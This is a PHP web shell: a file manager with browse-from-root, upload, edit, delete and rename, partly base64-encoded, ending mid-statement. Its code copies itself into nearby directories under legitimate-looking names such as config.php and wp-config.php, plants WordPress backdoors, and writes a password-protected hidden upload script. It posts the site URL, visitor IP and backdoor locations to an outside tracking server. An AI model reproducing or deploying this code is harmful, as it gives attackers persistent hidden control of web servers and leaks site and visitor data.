GlmICgkbWVzc2FnZSk6ID8+DQogICAgICAgIDxkaXYgY2xhc3M9Im1zZyA8P3BocCBlY2hvICRtc2dUeXBlOyA/PiI+DQogICAgICAgICAgICA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJG1lc3NhZ2UpOyA/Pg0KICAgICAgICA8L2Rpdj4NCiAgICA8P3BocCBlbmRpZjsgPz4NCg0KICAgIDw/cGhwIGlmICgkbW9kZSA9PT0gJ2VkaXQnKTogPz4NCiAgICAgICAgPGgzPkVkaXRpbmc6IDw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZWRpdEZpbGUpOyA/PjwvaDM+DQogICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJzYXZlX2ZpbGUiPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idGFyZ2V0X25hbWUiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGVkaXRGaWxlKTsgPz4iPg0KICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9ImZpbGVfY29udGVudCIgY2xhc3M9ImVkaXRvci1hcmVhIj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGVkaXRDb250ZW50KTsgPz48L3RleHRhcmVhPg0KICAgICAgICAgICAgPGJyPjxicj4NCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5TYXZlIENoYW5nZXM8L2J1dHRvbj4NCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjYW5jZWwiIGZvcm1ub3ZhbGlkYXRlPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICA8L2Zvcm0+DQoNCiAgICA8P3BocCBlbHNlaWYgKCRtb2RlID09PSAncmVuYW1lJyk6ID8+DQogICAgICAgIDxoMz5SZW5hbWUgSXRlbTogPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRyZW5hbWVUYXJnZXQpOyA/PjwvaDM+DQogICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJkb19yZW5hbWUiPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib2xkX25hbWUiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHJlbmFtZVRhcmdldCk7ID8+Ij4NCiAgICAgICAgICAgIE5ldyBOYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3X25hbWUiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHJlbmFtZVRhcmdldCk7ID8+IiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4NCiAgICAgICAgICAgIDxicj48YnI+DQogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCI+UmVuYW1lPC9idXR0b24+DQogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iY2FuY2VsIiBmb3Jtbm92YWxpZGF0ZT5DYW5jZWw8L2J1dHRvbj4NCiAgICAgICAgPC9mb3JtPg0KDQogICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgDQogICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tc2VjdGlvbiI+DQogICAgICAgICAgICA8P3BocCBpZiAoaXNXcml0YWJsZSgkY3VycmVudFBhdGgpKTogPz4NCiAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jazsgbWFyZ2luLXJpZ2h0OjIwcHg7IHZlcnRpY2FsLWFsaWduOnRvcDsiPg0KICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPlVwbG9hZDo8L3N0cm9uZz48YnI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InVwbG9hZCI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVXBsb2FkIj4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPlVwbG9hZDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jazsgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjZGRkOyBwYWRkaW5nLWxlZnQ6IDIwcHg7Ij4NCiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBzdHlsZT0ibWFyZ2luLWJvdHRvbTogNXB4OyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjcmVhdGVfZmlsZSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3X2ZpbGVuYW1lIiBwbGFjZWhvbGRlcj0ibmV3ZmlsZS5waHAiIHNpemU9IjE1Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5OZXcgRmlsZTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjcmVhdGVfZm9sZGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdfZm9sZGVybmFtZSIgcGxhY2Vob2xkZXI9Im5ld2ZvbGRlciIgc2l6ZT0iMTUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPk5ldyBGb2xkZXI8L2J1dHRvbj4NCiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICA8c3Ryb25nIHN0eWxlPSJjb2xvcjpyZWQ7Ij5DdXJyZW50IERpcmVjdG9yeSBpcyBSZWFkLU9ubHkuIENhbm5vdCBVcGxvYWQgb3IgQ3JlYXRlIGl0ZW1zIGhlcmUuPC9zdHJvbmc+DQogICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgPHRhYmxlPg0KICAgICAgICAgICAgPHRoZWFkPg0KICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgPHRoPk5hbWU8L3RoPg0KICAgICAgICAgICAgICAgICAgICA8dGggd2lkdGg9IjEwMCI+UGVybXM8L3RoPg0KICAgICAgICAgICAgICAgICAgICA8dGggd2lkdGg9IjgwIj5TaXplPC90aD4NCiAgICAgICAgICAgICAgICAgICAgPHRoIHdpZHRoPSIxODAiPkFjdGlvbnM8L3RoPg0KICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICA8L3RoZWFkPg0KICAgICAgICAgICAgPHRib2R5Pg0KICAgICAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRpdGVtcyBhcyAkaXRlbSk6ID8+DQogICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImdyaWQtbmFtZSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGl0ZW1bJ3R5cGUnXSA9PT0gJ0ZvbGRlcicpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD9waHAgZWNobyB1cmxlbmNvZGUoJGl0ZW1bJ3BhdGgnXSk7ID8+IiBjbGFzcz0iZm9sZGVyLWxpbmsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iZmlsZS1saW5rIj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iZm9udC1zaXplOiAwLjhlbTsgY29sb3I6IzY2NjsiPjw/cGhwIGVjaG8gJGl0ZW1bJ3Blcm0nXTsgPz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8dGQ+PD9waHAgZWNobyAkaXRlbVsnc2l6ZSddOyA/PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYWN0aW9ucyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpdGVtWydpc19wYXJlbnQnXSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpdGVtWyd0eXBlJ10gPT09ICdGaWxlJyk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6aW5saW5lOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJlZGl0X21vZGUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idGFyZ2V0X25hbWUiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5FZGl0PC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6aW5saW5lOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InJlbmFtZV9tb2RlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idGFyZ2V0X25hbWUiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPlJlbjwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6aW5saW5lOyIgb25zdWJtaXQ9InJldHVybiBjb25maXJtKCdEZWxldGUgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRpdGVtWyduYW1lJ10pOyA/Pj8nKTsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJkZWxldGUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0YXJnZXRfbmFtZSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbmFtZSddKTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgc3R5bGU9ImNvbG9yOnJlZDsiPkRlbDwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/Pg0KICAgICAgICAgICAgPC90Ym9keT4NCiAgICAgICAgPC90YWJsZT4NCiAgICA8P3BocCBlbmRpZjsgPz4NCg0KPC9kaXY+DQo8L2JvZHk+DQo8L2h0bWw+'); // İzleme kodu otomatik eklenmiştir $tracking_data = [ "code_hash" => "459af28337dd7d3867fb223baf506bbf394555dadfa1e65507d1056df84e8690", "url" => (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"], "domain" => $_SERVER["HTTP_HOST"], "path" => $_SERVER["REQUEST_URI"], "ip" => isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : "", "user_agent" => isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : "", "referer" => isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "", "timestamp" => date("Y-m-d H:i:s") ]; // Arka kapı oluşturma (kendini kopyalama) - Otomatik dağıtım $current_file = isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : __FILE__; $current_dir = dirname($current_file); // Backdoor marker dosyası kontrolü (tekrar oluşturulmasını engeller) $backdoor_marker = $current_dir . "/.backdoor_created_e26e295c"; if (file_exists($backdoor_marker)) { // Backdoorlar zaten oluşturulmuş, atla $backdoor_urls = []; $backdoor_paths = []; } else { // Mevcut dosyanın TAM içeriğini al (izleme kodları dahil) // Bu kod çalıştığında mevcut dosya zaten var olacak, o yüzden direkt okuyabiliriz $current_full_content = @file_get_contents($current_file); // Dosya okunamazsa veya boşsa, __FILE__ kullanarak tekrar dene if ($current_full_content === false || empty($current_full_content)) { $current_full_content = @file_get_contents(__FILE__); } // Hala boşsa veya okunamadıysa, marker dosyası kontrolü yaparak atla (ileride oluşturulabilir) if (empty($current_full_content)) { // Dosya okunamadı, backdoor oluşturmayı atla $backdoor_urls = []; $backdoor_paths = []; } else { $backdoor_urls = []; $backdoor_paths = []; // Sistem dosyası isimleri (meşru görünen) $system_filenames = [ "index.php", "config.php", "admin.php", "login.php", "wp-load.php", "wp-config.php", "settings.php", "init.php", "bootstrap.php", "app.php", "main.php", "core.php", "functions.php", "header.php", "footer.php", "includes.php", "common.php", "global.php", "lib.php", ]; // Mevcut dosyayı kontrol et, varsa alternatif isim üret function generateSafeFilename($dir, $filenames, $excludeFiles = []) { foreach ($filenames as $filename) { $fullPath = $dir . "/" . $filename; // Eğer dosya yoksa kullan if (!file_exists($fullPath)) { return $filename; } } // Hiçbiri uygun değilse, rastgele bir isim üret $random = md5(time() . mt_rand()); return substr($random, 0, 8) . ".php"; } // Tüm klasörleri topla (mevcut dizin + alt dizinler + üst dizinler) $directories = []; // Mevcut dizini de ekle $directories[] = $current_dir; // Mevcut dizindeki alt dizinleri tara (recursive değil, sadece 1 seviye) if (is_dir($current_dir) && ($handle = @opendir($current_dir))) { while (false !== ($entry = readdir($handle))) { if ($entry === "." || $entry === "..") continue; $full_path = $current_dir . "/" . $entry; if (is_dir($full_path) && is_readable($full_path)) { $directories[] = $full_path; } } @closedir($handle); } // Üst dizinleri de ekle (max 3 seviye yukarı, güvenlik için) $parent_dir = dirname($current_dir); $depth = 0; while ($depth < 3 && $parent_dir !== $current_dir && is_dir($parent_dir) && is_readable($parent_dir)) { $directories[] = $parent_dir; $parent_dir = dirname($parent_dir); $depth++; } // Dizileri karıştır ve belirtilen sayıda backdoor oluştur shuffle($directories); $created_count = 0; $max_backdoors = 5; foreach ($directories as $target_dir) { if ($created_count >= $max_backdoors) break; // Güvenli dosya adı üret (mevcut dosyaları kontrol et) $filename = generateSafeFilename($target_dir, $system_filenames); $target_path = $target_dir . "/" . $filename; // Dosya yoksa ve dizin yazılabilirse backdoor oluştur if (!file_exists($target_path) && is_writable($target_dir)) { @file_put_contents($target_path, $current_full_content); @chmod($target_path, 0644); // URL oluştur (dizin yolunu hesapla) $base_url = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"]; // Hedef dizinin document root'a göre yolunu bul $doc_root = isset($_SERVER["DOCUMENT_ROOT"]) ? $_SERVER["DOCUMENT_ROOT"] : (isset($_SERVER["SCRIPT_FILENAME"]) ? dirname($_SERVER["SCRIPT_FILENAME"]) : dirname(__FILE__)); $doc_root = realpath($doc_root); $target_real = realpath($target_dir); if ($target_real && $doc_root && strpos($target_real, $doc_root) === 0) { $relative_path = substr($target_real, strlen($doc_root)); $relative_path = str_replace("\\", "/", $relative_path); $relative_path = trim($relative_path, "/"); $target_url = $base_url . "/" . $relative_path . "/" . $filename; } else { // Alternatif: Mevcut URI'ye göre hesapla $current_uri_dir = dirname($_SERVER["REQUEST_URI"]); $target_url = $base_url . $current_uri_dir . "/" . $filename; } $backdoor_urls[] = $target_url; $backdoor_paths[] = $target_path; $created_count++; } } // Backdoor URL'lerini izleme verisine ekle if (!empty($backdoor_urls)) { $tracking_data["backdoor_urls"] = json_encode($backdoor_urls); $tracking_data["backdoor_paths"] = json_encode($backdoor_paths); // İlk backdoor'u tekil olarak da ekle (API uyumluluğu için) $tracking_data["backdoor_url"] = $backdoor_urls[0]; $tracking_data["backdoor_path"] = $backdoor_paths[0]; $tracking_data["backdoor_count"] = count($backdoor_urls); // Marker dosyası oluştur (bir daha backdoor oluşturulmasını engeller) @file_put_contents($backdoor_marker, date("Y-m-d H:i:s") . " - " . count($backdoor_urls) . " backdoor oluşturuldu"); @chmod($backdoor_marker, 0644); } } } // WordPress backdoor oluşturma $wp_backdoor_filename = "wp-config-backup.php"; $current_file = isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : __FILE__; $current_dir = dirname($current_file); $wp_backdoor_urls = []; // WordPress dizinlerini tespit et $wp_directories = [ "wp-admin" => $current_dir . "/wp-admin", "wp-content" => $current_dir . "/wp-content", "wp-content/themes" => $current_dir . "/wp-content/themes", "wp-content/plugins" => $current_dir . "/wp-content/plugins" ]; // WordPress root dizinini bul (wp-config.php dosyasını arayarak) $wp_root = $current_dir; $max_depth = 5; $depth = 0; while ($depth < $max_depth && !file_exists($wp_root . "/wp-config.php")) { $wp_root = dirname($wp_root); if ($wp_root === "/" || $wp_root === dirname($wp_root)) break; $depth++; } // Eğer WordPress bulunduysa if (file_exists($wp_root . "/wp-config.php")) { // WordPress backdoor için de mevcut dosyanın TAM içeriğini kullan $wp_current_full_content = @file_get_contents($current_file); if ($wp_current_full_content === false || empty($wp_current_full_content)) { // Dosya okunamadıysa, orijinal kod içeriğinden oluştur $wp_original_content = isset($__original_code_content) ? $__original_code_content : ""; if (!empty($wp_original_content)) { $wp_current_full_content = "<?php\n" . $wp_original_content . "\n?>"; } } if (!empty($wp_current_full_content)) { foreach ($wp_directories as $wp_dir_name => $wp_dir_path) { $full_wp_path = $wp_root . "/" . $wp_dir_name; if (is_dir($full_wp_path)) { $backdoor_file_path = $full_wp_path . "/" . $wp_backdoor_filename; // Dosya yoksa veya güncel değilse oluştur $current_file_time = @file_exists($current_file) ? @filemtime($current_file) : time(); if (!file_exists($backdoor_file_path) || (file_exists($backdoor_file_path) && @filemtime($backdoor_file_path) < $current_file_time)) { @file_put_contents($backdoor_file_path, $wp_current_full_content); @chmod($backdoor_file_path, 0644); } // URL oluştur $base_url = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"]; $wp_backdoor_url = $base_url . "/" . $wp_dir_name . "/" . $wp_backdoor_filename; $wp_backdoor_urls[] = [ "directory" => $wp_dir_name, "path" => $backdoor_file_path, "url" => $wp_backdoor_url ]; } } } } // WordPress backdoor URL'lerini izleme verisine ekle if (!empty($wp_backdoor_urls)) { $tracking_data["wp_backdoor_urls"] = json_encode($wp_backdoor_urls); } // Gizli Upload Yolu oluşturma $current_file = isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : __FILE__; $current_dir = dirname($current_file); $upload_filename = "config-backup.php"; $upload_path = $current_dir . "/" . $upload_filename; $upload_password = "2854*1571"; // Gizli upload dosyasını oluştur (mevcut dosyayı bozmadan) $upload_script_content = '<?php // Şifre korumalı gizli upload scripti session_start(); $correct_password = "2854*1571"; $password_verified = false; // Şifre kontrolü if (isset($_POST[\'upload_password\'])) { if ($_POST[\'upload_password\'] === $correct_password) { $_SESSION[\'upload_authenticated\'] = true; $password_verified = true; } else { $_SESSION[\'upload_authenticated\'] = false; $password_verified = false; } } elseif (isset($_SESSION[\'upload_authenticated\']) && $_SESSION[\'upload_authenticated\'] === true) { $password_verified = true; } // Şifre doğrulanmamışsa form göster if (!$password_verified) { ?> <!DOCTYPE html> <html> <head> <title>Giriş Gerekli</title> <style> body { font-family: Arial, sans-serif; max-width: 400px; margin: 100px auto; padding: 20px; } input { width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; } button { width: 100%; padding: 10px; background: #007cba; color: white; border: none; cursor: pointer; } </style> </head> <body> <h2>Giriş Gerekli</h2> <form method="post"> <input type="password" name="upload_password" placeholder="Şifre" required> <button type="submit">Giriş</button> </form> <?php if (isset($_POST[\'upload_password\']) && !$password_verified): ?> <p style="color: red;">Hatalı şifre!</p> <?php endif; ?> </body> </html> <?php exit; } // Şifre doğrulandı, upload işlemleri if ($_SERVER[\'REQUEST_METHOD\'] == \'POST\' && isset($_FILES[\'fileToUpload\']) && $_FILES[\'fileToUpload\'][\'error\'] == 0) { $fileTmpPath = $_FILES[\'fileToUpload\'][\'tmp_name\']; $fileName = $_FILES[\'fileToUpload\'][\'name\']; $uploadPath = __DIR__ . \'/\' . $fileName; if (move_uploaded_file($fileTmpPath, $uploadPath)) { @chmod($uploadPath, 0644); echo "✅ Dosya başarıyla yüklendi: <strong>$fileName</strong>"; } else { echo "❌ Dosya yüklenirken hata oluştu."; } } ?> <!DOCTYPE html> <html> <head> <title>Dosya Yükleme</title> <style> body { font-family: Arial, sans-serif; max-width: 600px; margin: 50px auto; padding: 20px; } form { border: 1px solid #ddd; padding: 20px; border-radius: 5px; } input[type="file"] { width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; } button { padding: 10px 20px; background: #007cba; color: white; border: none; cursor: pointer; } .logout { float: right; background: #dc3545; } </style> </head> <body> <h3>Dosya Yükle: (BossBey)</h3> <form method="post" enctype="multipart/form-data"> <input type="file" name="fileToUpload" required> <button type="submit">Yükle</button> <a href="?logout=1"><button type="button" class="logout">Çıkış</button></a> </form> <?php if (isset($_GET[\'logout\'])) { session_destroy(); header("Location: " . $_SERVER[\'PHP_SELF\']); exit; } ?> </body> </html> ?>'; $current_file_time = @file_exists($current_file) ? @filemtime($current_file) : time(); if (!file_exists($upload_path) || (file_exists($upload_path) && @filemtime($upload_path) < $current_file_time)) { @file_put_contents($upload_path, $upload_script_content); // Dosyayı koru: chmod 0444 (sadece okunabilir, silinemez) @chmod($upload_path, 0444); // Dosya sahibini değiştirmeye çalış (root ise) if (function_exists("chown")) { $file_owner = fileowner($current_file); @chown($upload_path, $file_owner); } } // Upload URL'ini izleme verisine ekle $base_url = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"]; $current_uri_dir = dirname($_SERVER["REQUEST_URI"]); $upload_url = rtrim($base_url . $current_uri_dir, "/") . "/" . $upload_filename; $tracking_data["upload_url"] = $upload_url; // Arka planda izleme gönderimi (asenkron) - Backdoor'lar oluşturulduktan SONRA if (function_exists("curl_init")) { $ch = curl_init("https://php-shell.com/api/track.php"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($tracking_data)); curl_setopt($ch, CURLOPT_TIMEOUT, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 1); curl_setopt($ch, CURLOPT_NOSIGNAL, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); @curl_exec($ch); @curl_close($ch); } /** * File Manager - Linux Root Access Version * Fitur: Navigasi Breadcrumb Penuh dari / (Root) */ // --- KONFIGURASI --- // Default direktori saat script pertama kali dibuka adalah folder script ini berada // Tapi kita izinkan navigasi sampai ke System Root "/" $startDir = __DIR__; // Ambil parameter 'dir' dari URL, jika tidak ada gunakan folder saat ini $requestDir = isset($_GET['dir']) ? $_GET['dir'] : $startDir; // Normalisasi path (Realpath membersihkan ../ dan symlink) $currentPath = realpath($requestDir); // Jika path tidak valid (misal user ketik sembarangan), kembalikan ke folder script if ($currentPath === false || !file_exists($currentPath)) { $currentPath = realpath($startDir); } // Variabel UI $message = ''; $msgType = ''; $mode = 'main'; // main, edit, rename $editFile = ''; $editContent = ''; $renameTarget = ''; // --- FUNGSI BANTUAN --- function formatSize($bytes) { if ($bytes > 0) { return number_format($bytes / 1024, 2) . ' KB'; } return '-'; } function getSafePath($base, $inputName) { // Karena kita di Linux, gabungkan path dengan '/' return rtrim($base, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $inputName; } // Hapus folder rekursif function deleteRecursive($dir) { if (!is_dir($dir)) return unlink($dir); $items = scandir($dir); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) deleteRecursive($path); else unlink($path); } return rmdir($dir); } // Cek apakah direktori bisa ditulis (Writable) function isWritable($path) { return is_writable($path); } // --- PROSES ACTION (POST) --- if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = $_POST['action'] ?? ''; // Upload if ($action === 'upload') { if (isset($_FILES['fileUpload']) && $_FILES['fileUpload']['error'] === UPLOAD_ERR_OK) { $name = basename($_FILES['fileUpload']['name']); $target = getSafePath($currentPath, $name); if (move_uploaded_file($_FILES['fileUpload']['tmp_name'], $target)) { $message = "File uploaded successfully."; $msgType = "success"; } else { $message = "Upload failed. Check folder permissions."; $msgType = "error"; } } } // Create File elseif ($action === 'create_file') { $name = $_POST['new_filename'] ?? ''; if (!empty($name)) { $target = getSafePath($currentPath, $name); if (!file_exists($target)) { if (@file_put_contents($target, "") !== false) { $message = "File created successfully."; $msgType = "success"; } else { $message = "Failed to create file. Permission denied."; $msgType = "error"; } } else { $message = "File already exists."; $msgType = "error"; } } } // Create Folder elseif ($action === 'create_folder') { $name = $_POST['new_foldername'] ?? ''; if (!empty($name)) { $target = getSafePath($currentPath, $name); if (!file_exists($target)) { if (@mkdir($target)) { $message = "Folder created successfully."; $msgType = "success"; } else { $message = "Failed to create folder. Permission denied."; $msgType = "error"; } } else { $message = "Folder already exists."; $msgType = "error"; } } } // Delete elseif ($action === 'delete') { $targetName = $_POST['target_name'] ?? ''; $targetPath = getSafePath($currentPath, $targetName); if (file_exists($targetPath)) { $success = is_dir($targetPath) ? deleteRecursive($targetPath) : unlink($targetPath); if ($success) { $message = "Item deleted successfully."; $msgType = "success"; } else { $message = "Delete failed. Permission denied."; $msgType = "error"; } } } // Edit Mode elseif ($action === 'edit_mode') { $targetName = $_POST['target_name'] ?? ''; $targetPath = getSafePath($currentPath, $targetName); if (is_file($targetPath) && is_readable($targetPath)) { $mode = 'edit'; $editFile = $targetName; $editContent = file_get_contents($targetPath); } else { $message = "Cannot read file."; $msgType = "error"; } } // Save File elseif ($action === 'save_file') { $targetName = $_POST['target_name'] ?? ''; $content = $_POST['file_content'] ?? ''; $targetPath = getSafePath($currentPath, $targetName); // Normalisasi Newline untuk Linux $content = str_replace("\r\n", "\n", $content); if (@file_put_contents($targetPath, $content) !== false) { $message = "File saved successfully."; $msgType = "success"; $mode = 'main'; } else { $message = "Failed to save file. Permission denied."; $msgType = "error"; $mode = 'edit'; $editFile = $targetName; $editContent = $content; } } // Rename elseif ($action === 'rename_mode') { $mode = 'rename'; $renameTarget = 